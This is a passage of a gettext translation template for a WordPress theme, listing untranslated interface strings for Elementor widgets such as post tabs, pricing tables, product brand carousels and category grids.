#: inc/js_composer/shortcodes/recent_posts/settings.php:135
msgid "Display 1st post featured?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:213
msgid "Display featured post style 2"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:218
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:170
#: inc/js_composer/shortcodes/recent_posts/settings.php:153
msgid "Display all post featured?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:223
msgid "Hide Order Numbers on Recent Tab?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:228
msgid "Hide Order Numbers on Popular Tab?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:233
msgid "Show Author Name"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:243
#: inc/js_composer/soledad_vc.php:1226
msgid "Show Comment Count"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:248
msgid "Show Post Views"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:253
msgid "Show icon post format"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:258
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:227
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:144
msgid "Remove Border at The Bottom?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:283
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:418
msgid "Tab Title Typography"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:288
msgid "Tab Title Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:295
msgid "Tab Title Hover Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:302
msgid "Tab Title Active Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:309
msgid "Tab Borders Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:316
msgid "Tab Background Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:324
msgid "Tab Hover Background Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:332
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:340
msgid "Tab Active Background Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:347
msgid "Tab Padding"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:357
msgid "Tab Title Spacing"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:366
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:249
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:165
msgid "Ajax Posts Navigation?"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:379
msgid "Posts Typo & Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:385
msgid "Featured Post Title Typography"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:391
msgid "Post Title Typography"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:410
msgid "Post Title Top Margin"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:416
msgid "Post Title Bottom Margin"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:423
msgid "Post Meta Typography"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:435
msgid "Post Meta Link Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:449
msgid "Post Meta Items Spacing"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:455
msgid "Post Meta Top Margin"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:461
msgid "Post Meta Bottom Margin"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:467
msgid "Post Listing Border Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:474
msgid "Order Numbers Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:481
msgid "Order Numbers Background Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:488
msgid "Timeline Line Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:495
msgid "Timeline Dot Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:502
msgid "Timeline Dot Active Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:511
msgid "Comments Typo & Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:517
msgid "Comment Title Typography"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:529
msgid "Comment Link Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:536
msgid "Comment Link Hover Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:543
msgid "Comment List Border Color"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:550
msgid "Comment List Spacing"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:574
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:424
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:384
msgid "Post Navigation"
msgstr ""

#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:616
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:466
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:135
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:426
msgid "Button Hover Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:22
msgid " Pricing Table"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:42
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:323
#: inc/js_composer/shortcodes/pricing_table/settings.php:11
msgid "Pricing Table"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:60
msgid "Featured Header?"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:70
msgid "Add image"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:97
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:404
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:240
#: inc/js_composer/shortcodes/about_me/settings.php:129
#: inc/js_composer/shortcodes/small_list/settings.php:161
#: inc/template-builder/single-elements/smartlists.php:128
msgid "Image Width"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:106
msgid "Image Height"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:115
#: inc/js_composer/shortcodes/pricing_table/settings.php:56
msgid "Image margin top"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:124
#: inc/js_composer/shortcodes/pricing_table/settings.php:67
msgid "Image margin bottom"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:135
#: inc/options/framework/fields/icon/icon.php:20
msgid "Add Icon"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:144
msgid "Select Icon"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:156
msgid "Icon margin top"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:166
msgid "Icon margin bottom"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:177
#: inc/js_composer/shortcodes/pricing_table/settings.php:77
msgid "Pricing Name / Title"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:178
msgid "Pricing Plan"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:184
#: inc/js_composer/shortcodes/pricing_table/settings.php:83
msgid "Pricing  Subtitle"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:185
msgid "Pricing Short Text"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:191
msgid "Pricing"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:193
msgid "$99"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:199
msgid "Pricing Unit"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:200
msgid "/month"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:206
msgid "Display Pricing & Pricing Unit in One Line?"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:225
msgid "Sign Up"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:253
#: inc/js_composer/shortcodes/pricing_table/settings.php:123
msgid "Make this pricing box as featured"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:263
msgid "Featured Style"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:267
msgid "Highlight Height"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:268
msgid "Scale Up"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:278
msgid "Add Ribbon?"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:283
msgid "Ribbon Icon"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:284
msgid "Ribbon Text"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:291
msgid "Custom Ribbon Icon"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:303
msgid "Custom Ribbon Text"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:305
msgid "Best Value"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:312
#: inc/js_composer/shortcodes/pricing_table/settings.php:130
msgid "Minimum height for pricing item"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:330
msgid "Background Color for Pricing Table"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:337
msgid "Border Color for Pricing Table"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:345
msgid "Featured Header Background Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:446
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:103
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:280
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:240
#: inc/elementor/modules/penci-product/widgets/penci-product.php:147
#: inc/js_composer/inc/product_param.php:87
#: inc/js_composer/shortcodes/pricing_table/settings.php:89
#: inc/js_composer/shortcodes/pricing_table/settings.php:327
#: inc/js_composer/shortcodes/product/settings.php:90
msgid "Price"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:477
#: inc/js_composer/shortcodes/pricing_table/settings.php:95
#: inc/js_composer/shortcodes/pricing_table/settings.php:361
msgid "Price Unit"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:483
msgid "Price Unit Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:508
#: inc/js_composer/shortcodes/pricing_table/settings.php:102
#: inc/js_composer/shortcodes/pricing_table/settings.php:394
msgid "Features"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:514
msgid "Features Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:536
#: inc/js_composer/shortcodes/pricing_table/settings.php:200
msgid "Item of list features margin bottom"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:545
msgid "Ribbon Background Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:556
msgid "Ribbon Text Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:568
msgid "Ribbon Text Typography"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:580
msgid "Pricing Table Button"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:609
msgid "Button Background & Border Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:627
msgid "Button Background & Border Hover Color"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:665
#: inc/js_composer/shortcodes/pricing_table/settings.php:210
msgid "Button margin top"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:673
msgid "Button margin bottom"
msgstr ""

#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:682
#: inc/js_composer/shortcodes/pricing_table/settings.php:220
msgid "Button width"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:40
msgid " Product Brands"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:87
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:103
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:91
msgid "Enter the number of categories to display for this element."
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:100
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:279
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:239
#: inc/elementor/modules/penci-product/widgets/penci-product.php:146
#: inc/js_composer/inc/product_param.php:86
#: inc/js_composer/shortcodes/product/settings.php:89
#: inc/js_composer/shortcodes/product_brand/settings.php:31
#: inc/js_composer/shortcodes/web_stories/settings.php:42
msgid "Random order"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:105
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:163
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:116
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:322
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:273
#: inc/elementor/modules/penci-product/widgets/penci-product.php:171
#: inc/js_composer/inc/product_param.php:113
#: inc/js_composer/params/loop/register.php:282
#: inc/js_composer/shortcodes/product/settings.php:116
#: inc/js_composer/shortcodes/product_brand/settings.php:36
msgid "Sort order"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:117
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:333
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:144
msgid "Hide empty"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:126
#: inc/woocommerce/modules/brand.php:77
msgid "Brands"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:127
msgid "List of product brands to show. Leave empty to show all."
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:157
#: inc/js_composer/shortcodes/product_brand/settings.php:65
msgid "Brand images hover"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:168
msgid "Border Style ?"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:184
#: inc/js_composer/shortcodes/product_brand/settings.php:92
msgid "Links List"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:190
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:231
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:612
#: inc/elementor/modules/penci-product/widgets/penci-product.php:278
msgid "Number of columns in the grid."
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:222
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:286
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:680
#: inc/elementor/modules/penci-product/widgets/penci-product.php:346
#: inc/js_composer/shortcodes/product_brand/settings.php:113
msgid "Slides per view"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:223
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:287
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:681
#: inc/elementor/modules/penci-product/widgets/penci-product.php:347
msgid ""
"Set numbers of slides you want to display at the same time on slider's "
"container for carousel mode."
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:239
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:306
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:713
#: inc/elementor/modules/penci-product/widgets/penci-product.php:373
#: inc/js_composer/shortcodes/product_brand/settings.php:127
msgid "Hide pagination control"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:240
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:307
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:714
#: inc/elementor/modules/penci-product/widgets/penci-product.php:374
msgid "If \"YES\" pagination control will be removed."
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:252
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:319
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:726
#: inc/elementor/modules/penci-product/widgets/penci-product.php:383
#: inc/js_composer/shortcodes/product_brand/settings.php:135
msgid "Hide prev/next buttons"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:253
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:320
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:727
#: inc/elementor/modules/penci-product/widgets/penci-product.php:384
msgid "If \"YES\" prev/next control will be removed"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:276
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:343
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:739
#: inc/elementor/modules/penci-product/widgets/penci-product.php:404
#: inc/js_composer/shortcodes/product_brand/settings.php:143
msgid "Slider loop"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:288
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:355
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:762
#: inc/elementor/modules/penci-product/widgets/penci-product.php:413
#: inc/js_composer/shortcodes/product_brand/settings.php:150
msgid "Slider autoplay"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:297
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:367
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:774
#: inc/elementor/modules/penci-product/widgets/penci-product.php:422
#: inc/js_composer/shortcodes/product_brand/settings.php:157
msgid "Slider speed"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:298
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:368
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:775
#: inc/elementor/modules/penci-product/widgets/penci-product.php:423
msgid "Duration of animation between slides (in ms)"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:307
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:380
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:787
#: inc/elementor/modules/penci-product/widgets/penci-product.php:432
#: inc/js_composer/shortcodes/product/settings.php:286
#: inc/js_composer/shortcodes/product_brand/settings.php:164
#: inc/js_composer/shortcodes/product_tabs/settings.php:236
msgid "Init carousel on scroll"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:308
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:381
msgid ""
"This option allows you to init carousel script only when visitor scroll the "
"page to the slider. Useful for performance optimization."
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:322
msgid "Brand Style"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:340
msgid "Brand Text Typography"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:363
msgid "Carousel Navigation <br> Border Color"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:375
msgid "Carousel Navigation <br> Background Color"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:387
msgid "Carousel Navigation <br> Active Border Color"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:399
msgid "Carousel Navigation <br> Active Background Color"
msgstr ""

#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:449
#: inc/js_composer/shortcodes/product_brand/frontend.php:33
msgid ""
"You must select your brand attribute in Appearance -> Customize -> "
"WooCommerce > Brands"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:41
msgid " Categories Grid"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:85
msgid "Categories Query"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:111
msgid "Get image of taxonomy from"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:115
msgid "Latest Post"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:116
msgid "Random Post"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:117
msgid "Most View Post"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:118
msgid "Custom Term Field"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:126
msgid "Taxonomy view meta key"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:136
msgid "Taxonomy image field name"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:154
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:107
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:276
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:236
#: inc/elementor/modules/penci-product/widgets/penci-product.php:143
#: inc/js_composer/inc/product_param.php:83
#: inc/js_composer/shortcodes/product/settings.php:86
msgid "Menu order"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:155
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:108
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:274
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:234
#: inc/elementor/modules/penci-product/widgets/penci-product.php:141
#: inc/js_composer/inc/product_param.php:81
#: inc/js_composer/shortcodes/product/settings.php:84
#: inc/js_composer/shortcodes/web_stories/settings.php:41
msgid "Last modified date"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:180
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:131
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:248
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:208
#: inc/elementor/modules/penci-product/widgets/penci-product.php:118
msgid "List of product categories."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:195
msgid "List of post categories."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:209
msgid "Post Tags"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:210
msgid "List of post tags."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:224
msgid "Product Tags"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:225
msgid "List of product tags."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:239
msgid "Portfolio Categories"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:240
msgid "List of porfolio categories."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:256
msgid "Exclude Product Categories"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:257
msgid "List of product categories you want to exclude."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:271
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:86
#: inc/gutenberg/block/latest-posts/index.js:114
msgid "Exclude Categories"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:272
msgid "List of post categories you want to exclude."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:286
msgid "Exclude Post Tags"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:287
msgid "List of post tags you want to exclude."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:301
msgid "Exclude Product Tags"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:302
msgid "List of product tags you want to exclude."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:316
msgid "Exclude Portfolio Categories"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:317
msgid "List of porfolio categories you want to exclude."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:334
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:145
msgid "Don’t display categories that don’t have any products assigned."
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:360
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:611
msgid "Categories Grid Style"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:418
msgid "Hide Category Count"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:429
msgid "Hide Category Count on Mobile"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:470
msgid "Categories Grid Content Position"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:511
msgid "Custom Categories Grid Height (Unit is px)"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:587
msgid "Text: % Item"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:596
msgid "Text: % Items"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:772
msgid "Categories Grid Overlay"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:858
msgid "Apply Separate Background for Category Count"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:865
msgid "Background for Category Count"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:877
msgid "Background for Category Count on Hover"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:958
msgid "Categories Grid Typography & Colors"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:966
msgid "Categories Grid Items"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1019
msgid "Category Title"
msgstr ""

#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1063
msgid "Category Count"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:39
msgid " Product Categories"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:172
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:404
#: inc/js_composer/shortcodes/product_tabs/settings.php:50
#: inc/js_composer/shortcodes/progress_bar/settings.php:26
msgid "Design"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:180
msgid "Categories design"
